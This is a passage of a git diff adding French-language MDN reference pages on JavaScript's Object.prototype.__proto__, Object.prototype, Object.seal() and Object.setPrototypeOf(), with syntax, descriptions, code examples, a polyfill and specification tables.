+<p>L'utilisation de <code>__proto__</code> est sujet à controverse. Elle a été déconseillée par plusieurs personnes et n'avait jamais été incluse dans la spécification ECMAScript. Cependant, de nombreux navigateurs ont décidé de l'implémenter. À l'heure actuelle, la propriété <code>__proto__</code> a été standardisée avec la spécification ECMAScript 2015 et sera officiellement supportée à l'avenir. Une alternative à cette propriété peut être l'utilisation des méthodes {{jsxref("Object.getPrototypeOf")}}/{{jsxref("Reflect.getPrototypeOf")}} et {{jsxref("Object.setPrototypeOf")}}/{{jsxref("Reflect.setPrototypeOf")}}. Cependant, modifier le <code>[[Prototype]]</code> d'un objet est toujours une opération lente qui doit être évitée le plus possible pour des raisons de performances.</p>
+
+<p>La propriété <code>__proto__</code> peut également être utilisée avec un littéral objet afin de définir le <code>[[Prototype]]</code> lors de la construction (ce qui en fait une alternative à {{jsxref("Object.create()")}}. Voir la page sur {{jsxref("Opérateurs/Initialisateur_objet","les initialisateurs d'objet","",1)}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var proto = <var>obj</var>.__proto__;</pre>
+
+<div class="note">
+<p><strong>Note :</strong> le nom de la propriété est composé de deux tirets bas, suivis de « proto », suivis par deux tirets bas (<em>underscores</em>)</p>
+</div>
+
+<h2 id="Description">Description</h2>
+
+<p>L'accesseur <code>__proto__</code> expose la valeur du <code>[[Prototype]]</code> interne d'un objet.</p>
+
+<ul>
+ <li>Pour les objets créés via un littéral objet, cette valeur est {{jsxref("Object.prototype")}}.</li>
+ <li>Pour les objet créés via un littéral de tableau, cette valeur est {{jsxref("Array.prototype")}}.</li>
+ <li>Pour les fonctions, cette valeur est {{jsxref("Function.prototype")}}.</li>
+ <li>Pour les objets créés en utilisant <code>new fun</code>, avec <code>fun</code> un des constructeurs natif de fonctions, fournis par JavaScript ({{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("String")}}, etc.), cette valeur est <code>fun.prototype</code>.</li>
+ <li>Pour les objets créés en utilisant <code>new fun</code>, avec <code>fun</code> une function definie dans un script, cette valeur est la valeur de <code>fun.prototype</code> au moment où <code>new fun</code> est évaluée. (Ainsi, si on affecte une nouvelle valeur à <code>fun.prototype</code>, les instances crées précédemment conserveront leur <code>[[Prototype]]</code>, les objets créés par la suite bénéficieront de la nouvelle valeur pour leur <code>[[Prototype]]</code>.)</li>
+</ul>
+
+<p>Le mutateur <code>__proto__</code> permet de changer le <code>[[Prototype]]</code> d'un objet. Cet objet doit être extensible selon {{jsxref("Object.isExtensible")}}, si ce n'est pas le cas, une exception {{jsxref("TypeError")}} sera renvoyée. La valeur fournie pour le nouveau prototype doit être un objet ou {{jsxref("null")}}. Toute autre valeur entraînera un échec silencieux.</p>
+
+<p>Pour plus d'éléments sur le fonctionnement de l'héritage et des prototypes, voir la page sur <a href="/fr/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">l'héritage et les chaînes de prototypes</a>.</p>
+
+<p>Le propriété <code>__proto__</code> n'est qu'une propriété accesseur (composée d'une fonction accesseur (<em>getter</em>) et d'une fonction mutateur (<em>setter</em>)) pour {{jsxref("Object.prototype")}}. Si l'accès à <code>__proto__</code> consulte {{jsxref("Object.prototype")}}, on trouvera la propriété. Un accesseur qui ne consulte pas {{jsxref("Object.prototype")}} ne pourra pas trouver le prototype. Si une propriété <code>__proto__</code> est trouvée avant que {{jsxref("Object.prototype")}} ne soit consulté, cette propriété « cachera » {{jsxref("Object.prototype")}}.</p>
+
+<pre class="brush: js">var aucunProto = Object.create(null);
+
+console.log(typeof aucunProto.__proto__); // undefined
+console.log(Object.getPrototypeOf(aucunProto)); // null
+
+aucunProto.__proto__ = 17;
+
+console.log(aucunProto.__proto__); // 17
+console.log(Object.getPrototypeOf(aucunProto)); // null
+
+var protoCaché = {};
+Object.defineProperty(protoCaché, "__proto__",
+                      { value: 42, writable: true, configurable: true, enumerable: true });
+
+console.log(protoCaché.__proto__); // 42
+console.log(Object.getPrototypeOf(protoCaché) === Object.prototype); // true
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans ce qui suit, on crée un nouvelle instance d'<code>Employé</code> et on teste si <code>__proto__</code> est bien le même objet que le prototype de son constructeur.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Les remarques données plus haut sur les atteintes à la performance restent valables pour ces exemples. Ces exemples permettent uniquement d'illustrer le fonctionnement de <code>__proto__</code>, ils ne font pas office de recommandations.</p>
+</div>
+
+<pre class="brush: js">// On déclare une fonction à utiliser comme constructeur
+function Employé() {
+  /* on initialise l'instance */
+}
+
+// On crée une nouvelle instance d'Employé
+var fred = new Employé();
+
+// On teste l'équivalence
+fred.__proto__ === Employé.prototype; // true
+</pre>
+
+<p>À cet instant, <code>fred</code> hérite de <code>Employé</code>. On peut toutefois changer ça en assignant un nouvel objet à <code>fred.__proto__</code> :</p>
+
+<pre class="brush: js">// Assigner un nouvel objet à __proto__
+fred.__proto__ = Object.prototype;
+</pre>
+
+<p><code>fred</code> n'hérite plus de <code>Employé.prototype</code>, mais de <code>Object.prototype</code>. Il perd donc les propriétés héritées de <code>Employé.prototype</code>.</p>
+
+<p>Cela n'est possible que pour les objets {{jsxref("Object.isExtensible", "extensibles","",1)}}. La propriété <code>__proto__</code> d'un objet non-extensible ne peut pas être changée :</p>
+
+<pre class="brush: js">var obj = {};
+Object.preventExtensions(obj);
+
+obj.__proto__ = {}; // renvoie une exception TypeError
+</pre>
+
+<p>On notera que même la propriété <code>__proto__</code> de <code>Object.prototype</code> peut être redéfinie tant que la chaîne de prototypes se termine par <code>null</code> :</p>
+
+<pre class="brush: js">var b = {};
+
+Object.prototype.__proto__ =
+    Object.create(null, //[[Prototype]]
+                  { salut: { value: function () {console.log('salut');}}});
+
+b.salut();</pre>
+
+<p>Si la propriété <code>__proto__</code> de {{jsxref("Object.prototype")}} ne permet pas d'aboutir à {{jsxref("null")}} via la chaîne de prototypes, on a une chaîne cyclique et on doit avoir une exception {{jsxref("TypeError")}} "cyclic __proto__ value".</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.prototype.__proto__', 'Object.prototype.__proto__')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Incluse dans l'annexe (normative) pour le fonctionnalités additionneles d'ECMAScript pour les navigateurs web (note : la spécification codifie ce qui est déjà présent dans les implémentations).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.proto")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>Bien que la spécification ES2015 rende le support de <code>__proto__</code> nécessaire pour les navigateurs web, elle n'est pas obligatoire pour les autres environnements (bien que ce soit conseillé vu le caractère normatif de l'annexe). Si votre code doit être compatible avec un environnement qui n'est pas un navigateur web, il est recommandé d'utiliser {{jsxref("Object.getPrototypeOf()")}} et {{jsxref("Object.setPrototypeOf()")}} à la place.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/object/prototype/index.html
new file mode 100644
index 0000000000..29d6a8090b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/prototype/index.html
@@ -0,0 +1,175 @@
+---
+title: Object.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Object/prototype
+tags:
+  - JavaScript
+  - Object
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Object.prototype</strong></code> représente le prototype de {{jsxref("Object")}}.</p>
+
+<p>{{js_property_attributes(0, 0, 0)}}</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La quasi-totalité des objets JavaScript descendent de {{jsxref("Object")}} ; un objet classique héritera donc des méthodes et propriétés de <code>Object.prototype</code>. Comme pour toutes les propriétés héritées, il est possible de surcharger ces propriétés. Par exemple, d'autres prototypes de constructeurs surchargent la propriété <code>constructor</code> et fournissent leur propre méthode {{jsxref("Object.prototype.toString()", "toString()")}}.</p>
+
+<p>Cependant, on peut volontairement créer des objets qui ne descendent pas de {{jsxref("Object")}} (par exemple avec {{jsxref("Object.create", "Object.create(null)")}}) ou les modifier afin que ce ne soit plus le cas (par exemple avec la méthode {{jsxref("Object.setPrototypeOf()")}}).</p>
+
+<p>Les modifications apportées aux propriétés du prototype d'<code>Object</code> impactent donc tous ces objets via la chaîne de prototypes, sauf si ces propriétés sont surchargées. Ce puissant mécanisme permet ainsi de modifier le comportement des objets ou d'y ajouter des fonctionnalités.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.constructor")}}</dt>
+ <dd>Définit la fonction qui a créé le prototype d'un objet.</dd>
+ <dt>{{jsxref("Object.prototype.proto","Object.prototype.__proto__")}} {{non-standard_inline}}</dt>
+ <dd>Pointe vers l'objet qui a été utilisé comme prototype lors de l'instanciation de l'objet.</dd>
+ <dt>{{jsxref("Object.prototype.noSuchMethod","Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}</dt>
+ <dd>Permet de définir une fonction qui sera exécutée lors d'une tentative d'accès à une méthode non-définie pour l'objet.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.count","Object.prototype.__count__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">UTilisée pour renvoyer le nombre de propriétés énumérables sur un objet défini par l'utilisateur. Cette propriété a été retirée.</s></dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.parent","Object.prototype.__parent__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Utilisée pour faire référence au contexte de l'objet. Cette propriété a été retirée.</s></dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.defineGetter","Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Associe une fonction à une propriété qui, lorsqu'on y accède, exécute la fonction et renvoie la valeur de retour.</dd>
+ <dt>{{jsxref("Object.prototype.defineSetter","Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Associe une fonction à une propriété qui, lorsqu'on la définit, exécute la fonction qui modifie la propriété.</dd>
+ <dt>{{jsxref("Object.prototype.lookupGetter","Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Renvoie la fonction associée à la propriété définie par la méthode {{jsxref("Object.defineGetter", "__defineGetter__")}}.</dd>
+ <dt>{{jsxref("Object.prototype.lookupSetter()","Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Renvoie la fonction associée avec la propriété définie par la méthode {{jsxref("Object.defineSetter", "__defineSetter__")}}.</dd>
+ <dt>{{jsxref("Object.prototype.hasOwnProperty()")}}</dt>
+ <dd>Renvoie un booléen qui indique si l'objet contient la propriété donnée comme une propriété propre (non héritée via la chaîne de prototypes).</dd>
+ <dt>{{jsxref("Object.prototype.isPrototypeOf()")}}</dt>
+ <dd>Renvoie un booléen qui indique si l'objet courant fait partie de la chaîne de prototype de l'objet passé en argument.</dd>
+ <dt>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</dt>
+ <dd>Renvoie un booléen qui indique si l'<a href="/fr/docs/Web/JavaScript/Structures_de_données#Propriétés">attribut ECMAScript interne [[Enumerable]]</a> est défini.</dd>
+ <dt>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Renvoie une chaîne de caractères qui est un littéral objet représentant l'objet pour lequel la méthode a été appelée. La valeur de retour peut être utilisée pour créer un nouvel objet.</dd>
+ <dt>{{jsxref("Object.prototype.toLocaleString()")}}</dt>
+ <dd>Appelle la méthode {{jsxref("Object.toString", "toString()")}}.</dd>
+ <dt>{{jsxref("Object.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères représentant l'objet.</dd>
+ <dt>{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}</dt>
+ <dd>Supprime un point d'arrêt conditionnel placé sur une propriété de l'objet.</dd>
+ <dt>{{jsxref("Object.prototype.valueOf()")}}</dt>
+ <dd>Renvoie la valeur primitive de l'objet.</dd>
+ <dt>{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}</dt>
+ <dd>Ajoute un point d'arrêt conditionnel sur une propriété de l'objet.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Utilisée pour évaluer une chaîne de caractères étant du code JavaScript dans le contexte de l'objet. Cette méthode a été retirée.</s></dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Javascript se base sur un modèle prototypal et non pas classique (au sens « modèle à base de classes »). Le prototype d'un objet est utilisé pour fournir de façon dynamique des propriétés aux objets qui héritent du prototype.</p>
+
+<p>Par exemple :</p>
+
+<pre class="brush: js">var Personne = function(nom) {
+  this.name = nom;
+  this.peutParler = true;
+  this.salutation = function() {
+    if (this.peutParler) {
+      console.log('Bonjour, je suis ' + this.nom);
+    }
+  };
+};
+
+var Employe = function(nom, titre) {
+  this.nom = nom;
+  this.titre = titre;
+  this.salutation = function() {
+    if (this.peutParler) {
+      console.log("Bonjour, je suis " + this.nom + ", le " + this.titre);
+    }
+  };
+};
+Employe.prototype = new Personne();
+
+var Client = function(nom) {
+  this.nom = nom;
+};
+Client.prototype = new Personne();
+
+var Mime = function(nom) {
+  this.nom = nom;
+  this.peutParler = false;
+};
+Mime.prototype = new Personne();
+
+var bob = new Employe('Bob', 'bricoleur');
+var joe = new Client('Joe');
+var rg = new Employe('Red Green', 'réparateur');
+var mike = new Client('Mike');
+var mime = new Mime('Mime');
+bob.salutation();
+// Bonjour, je suis Bob, le bricoleur
+
+joe.salutation();
+// Bonjour, je suis Joe
+
+rg.salutation();
+// Bonjour, je suis Red Green, le réparateur
+
+mike.salutation();
+// Bonjour, je suis Mike
+
+mime.salutation();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Introduction_à_JavaScript_orienté_objet">Introduction à JavaScript orienté objet</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/seal/index.html b/files/fr/web/javascript/reference/objets_globaux/object/seal/index.html
new file mode 100644
index 0000000000..3a111936e6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/seal/index.html
@@ -0,0 +1,153 @@
+---
+title: Object.seal()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/seal
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.seal()</strong></code> scelle un objet afin d'empêcher l'ajout de nouvelles propriétés, en marquant les propriétés existantes comme non-configurables. Les valeurs des propriétés courantes peuvent toujours être modifiées si elles sont accessibles en écriture.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-seal.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.seal(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>obj</dt>
+ <dd>L'objet à sceller. Ce peut être n'importe quelle valeur qui n'ait pas <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Types_de_données">un type primitif</a>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet qui est scellé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Par défaut, les objets sont {{jsxref("Object.isExtensible()", "extensibles", "", 1)}} (ce qui signifie que de nouvelles propriétés peuvent leur être ajoutées). Sceller un objet empêche l'ajout de nouvelles propriétés et marque les propriétés existantes comme non-configurables. Ainsi, l'ensemble de propriétés de l'objet devient fixé et immuable. Le fait de rendre les propriétés non-configurables empêche également de transformer des propriétés de données en accesseurs et vice versa. Cela n'empêche pas de modifier la valeur des propriétés. Toute tentative de suppression ou d'ajout de propriétés à un objet qui est scellé, de conversion d'une propriété de données en accesseurs ou vice versa échouera, soit de manière silencieuse soit en lançant une exception {{jsxref("TypeError")}} (la plupart du temps en {{jsxref("Fonctions_et_portee_des_fonctions/Strict_mode","mode strict","",1)}}.</p>
+
+<p>La chaîne de prototypes reste la même. Cependant, la propriété {{jsxref("Object.proto", "__proto__")}} ( {{deprecated_inline}} ) est scellée également.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var obj = {
+    prop: function () {},
+    toto: "truc"
+  };
+
+// On peut ajouter de nouvelles propriétés
+// Les propriétés existantes peuvent être
+// changées ou retirées
+obj.toto = "machin";
+obj.blop = "blip";
+delete obj.prop;
+
+var o = Object.seal(obj);
+
+o === obj; // true
+Object.isSealed(obj); // true
+
+// On peut toujours changer la valeur
+// d'une propriété d'un objet scellé
+obj.toto = "moh";
+
+// Mais on ne peut pas convertir les données
+// en accesseurs (ou vice versa)
+Object.defineProperty(obj, "toto", { get: function() { return "g"; } });
+// lancera une TypeError
+
+// Tout autre changement que celui d'une valeur
+// ne fonctionnera pas
+
+obj.coincoin = "mon canard";
+// la propriété n'est pas ajoutée
+
+delete obj.toto;
+// la propriété n'est pas supprimée
+
+// ...en mode strict, cela lancera des TypeErrors
+function échec() {
+  "use strict";
+  delete obj.toto; // lance une TypeError
+  obj.tutu = "arf"; // lance une TypeError
+}
+échec();
+
+// L'utilisation de la méthode Object.defineProperty ne fonctionnera pas
+
+Object.defineProperty(obj, "ohai", { value: 17 });
+// lance une TypeError
+
+Object.defineProperty(obj, "toto", { value: "eit" });
+// modifie une propriété existante</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour ES5, si l'argument passé à la méthode n'est pas un objet (mais une valeur d'un autre type primitif), cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, un argument qui n'est pas un objet sera traité comme un objet ordinaire scellé et la méthode renverra cet objet.</p>
+
+<pre class="brush: js">Object.seal(1);
+// TypeError : 1 n'est pas un objet (code ES5)
+
+Object.seal(1);
+// 1 (code ES2015)</pre>
+
+<h3 id="Comparaison_avec_Object.freeze()">Comparaison avec <code>Object.freeze()</code></h3>
+
+<p>Lorsqu'on utilise la méthode {{jsxref("Object.freeze()")}}, les propriétés existantes d'un objet gelé deviennent immuables. En revanche, avec <code>Object.seal()</code>, il est toujours possible de modifier la valeur des propriétés existantes d'un objet scellé.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale.<br>
+    Implémentée par JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.seal', 'Object.seal')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.seal")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/setprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/object/setprototypeof/index.html
new file mode 100644
index 0000000000..67ec870d90
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/setprototypeof/index.html
@@ -0,0 +1,210 @@
+---
+title: Object.setPrototypeOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/setPrototypeOf
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<div class="warning">
+<p><strong>Attention :</strong> Étant donnée la façon dont la plupart des moteurs JavaScript optimisent les performances, modifier le <code>[[Prototype]]</code> d'un objet est une opération lente pour chaque navigateur et moteur JavaScript. Les impacts liés aux performances sur ce point sont vastes et subtiles : ils concernent pas uniquement le temps passé à effectuer <code>Object.setPrototypeOf</code>, mais peuvent concerner n'importe quel code pour n'importe quel objet dont <code>[[Prototype]]</code> a été modifié. Si vous souhaitez obtenir des performances optimales, évitez de modifier le <code>[[Prototype]]</code> d'un objet. À la place, il est conseillé de créer un objet avec le prototype voulu en utilisant {{jsxref("Object/create","Object.create()")}}</p>
+</div>
+
+<p>La méthode <code><strong>Object.setPrototypeOf()</strong></code> définit le prototype (autrement dit la propriété interne <code>[[Prototype]]</code>) d'un objet donné avec un autre objet ou {{jsxref("null")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.setPrototypeOf(<var>obj</var>, <var>prototype</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont on souhaite définir le prototype.</dd>
+ <dt><code>prototype</code></dt>
+ <dd>Le nouveau prototype de l'objet (un objet ou <code>null</code>).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet sur lequel on a défini le prototype.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode renvoie une exception {{jsxref("TypeError")}} si l'objet dont on souhaite modifier le <code>[[Prototype]]</code> est non-extensible selon {{jsxref("Object.isExtensible")}}.  Cette méthode ne fait rien si le paramètre prototype n'est ni un objet ni {{jsxref("null")}} (par exemple : un nombre, une chaîne, un booléen ou {{jsxref("undefined")}}).  Dans les autres cas, cette méthode substitue le <code>[[Prototype]]</code> de <code>obj</code> avec un nouvel objet.</p>
+
+<p><code>Object.setPrototypeOf()</code> fait partie de la spécification ECMAScript 2015. L'utilisation de cette méthode est considérée comme la façon correcte pour modifier le prototype d'un objet (contrairement à la propriété {{jsxref("Object/proto","Object.prototype.__proto__")}} plus controversée).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var dict = Object.setPrototypeOf({}, null);
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>En utilisant la propriété {{jsxref("Object.proto", "Object.prototype.__proto__")}}, on peut définir <code>Object.setPrototypeOf</code> si elle n'est pas disponible :</p>
+
+<pre class="brush: js">// Cette prothèse ne fonctionne pas pour IE
+Object.setPrototypeOf = Object.setPrototypeOf || function (obj, proto) {
+  obj.__proto__ = proto;
+  return obj;
+}</pre>
+
+<h2 id="Ajouter_une_chaîne_de_prototypes_à_un_objet">Ajouter une chaîne de prototypes à un objet</h2>
+
+<p>En combinant <code>Object.getPrototypeOf()</code> et {{jsxref("Object.proto", "Object.prototype.__proto__")}} on peut ajouter une chaîne de prototypes au nouveau prototype d'un objet :</p>
+
+<pre class="brush: js">/**
+*** Object.setPrototypeOf(@object, @prototype)
+* Change le prototype d'une instance
+*
+**/
+
+Object.setPrototypeOf = function (oInstance, oProto) {
+  oInstance.__proto__ = oProto;
+  return oInstance;
+};
+
+/**
+*** Object.appendChain(@object, @prototype)
+*
+* Ajoute le premier prototype non-natif d'une chaîne au nouveau prototype.
+* Renvoie @object (si c'est une valeur primitive, elle sera transformée
+* en objet).
+*
+*** Object.appendChain(@object [, "@arg_name_1", "@arg_name_2", "@arg_name_3", "..."], "@function_body")
+*** Object.appendChain(@object [, "@arg_name_1, @arg_name_2, @arg_name_3, ..."], "@function_body")
+*
+* Ajoute le premier prototype non-natif d'une chaîne à l'objet Function.prototype
+* puis ajoute new Function(["@arg"(s)], "@function_body") à cette chaîne.
+* Renvoie la fonction.
+*
+**/
+
+Object.appendChain = function (oChain, oProto) {
+  if (arguments.length &lt; 2) {
+    throw new TypeError("Object.appendChain - Pas suffisamment d'arguments");
+  }
+  if (typeof oProto !== 'object' &amp;&amp; typeof oProto !== 'string') {
+   throw new TypeError("le deuxième argument de Object.appendChain doit être un objet ou une chaîne");
+  }
+
+  var oNewProto = oProto, oReturn = o2nd = oLast = oChain instanceof this ? oChain : new oChain.constructor(oChain);
+
+  for (var o1st = this.getPrototypeOf(o2nd); o1st !== Object.prototype &amp;&amp; o1st !== Function.prototype; o1st = this.getPrototypeOf(o2nd)) {
+    o2nd = o1st;
+  }
+
+  if (oProto.constructor === String) {
+    oNewProto = Function.prototype;
+    oReturn = Function.apply(null, Array.prototype.slice.call(arguments, 1));
+    this.setPrototypeOf(oReturn, oLast);
+  }
+
+  this.setPrototypeOf(o2nd, oNewProto);
+  return oReturn;
+}
+</pre>
+
+<h3 id="Utilisation">Utilisation</h3>
+
+<h4 id="Ajouter_une_chaîne_de_prototypes_à_un_prototype">Ajouter une chaîne de prototypes à un prototype</h4>
+
+<pre class="brush: js">function Mammifère () {
+  this.isMammifère = "oui";
+}
+
+function EspèceMammifère (sEspèceMammifère) {
+  this.espèce = sEspèceMammifère;
+}
+
+EspèceMammifère.prototype = new Mammifère();
+EspèceMammifère.prototype.constructor = EspèceMammifère;
+
+var oChat = new EspèceMammifère("Felis");
+
+console.log(oChat.isMammifère); // "oui"
+
+function Animal () {
+  this.respire = "oui";
+}
+
+Object.appendChain(oChat, new Animal());
+
+console.log(oChat.respire); // "oui"
+</pre>
+
+<h4 id="Deuxième_exemple_Transformer_une_valeur_primitive_en_une_instance_de_son_constructeur_et_ajouter_sa_chaîne_à_un_prototype">Deuxième exemple : Transformer une valeur primitive en une instance de son constructeur et ajouter sa chaîne à un prototype</h4>
+
+<pre class="brush: js">function MySymbol () {
+  this.isSymbol = "yes";
+}
+
+var nPrime = 17;
+
+console.log(typeof nPrime); // "number"
+
+var oPrime = Object.appendChain(nPrime, new MySymbol());
+
+console.log(oPrime); // "17"
+console.log(oPrime.isSymbol); // "yes"
